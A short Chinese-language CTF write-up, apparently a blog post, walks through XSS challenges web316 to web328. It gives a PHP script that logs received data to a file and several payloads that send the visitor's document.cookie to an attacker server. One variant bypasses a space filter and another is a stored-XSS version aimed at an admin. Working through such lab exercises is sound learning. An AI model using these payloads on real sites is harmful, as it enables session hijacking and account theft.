先给一个XSS平台：XSS平台 - （支持http/https）XSS Platform
web316
先在自己的服务器上开启一个web服务，用来接收flag
<?php
$content = $_GET[1];
if(isset($content)){
file_put_content('./flag.txt',$content);
}else{
echo 'no no no';
}目的：拿到管理员的cookie
payload：
<script>document.location.href='http://ip/1.php?1='+document.cookie</script>web317
上面的payload不能用了
payload：
<body onload="document.location.href='http://ip/1.php?1='+document.cookie"</body>web318
payload同上
web319
payload同上
web320
过滤了空格
payload：
<body/**/onload="document.location.href='http://ip/1.php?1='+document.cookie"</body>web321
payload同上
web322
payload同上
web323
payload同上
web324
payload同上
web325
payload同上
web326
payload同上.
web327
前面都是反射型，这题开始是存储型
payload还是上面的，写在信的内容处，同时注意收件人是admin
web328
我们先注册一个账号，如果为admin提示不可注册，我们注册一个admin1
密码就是
然后登录
678
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
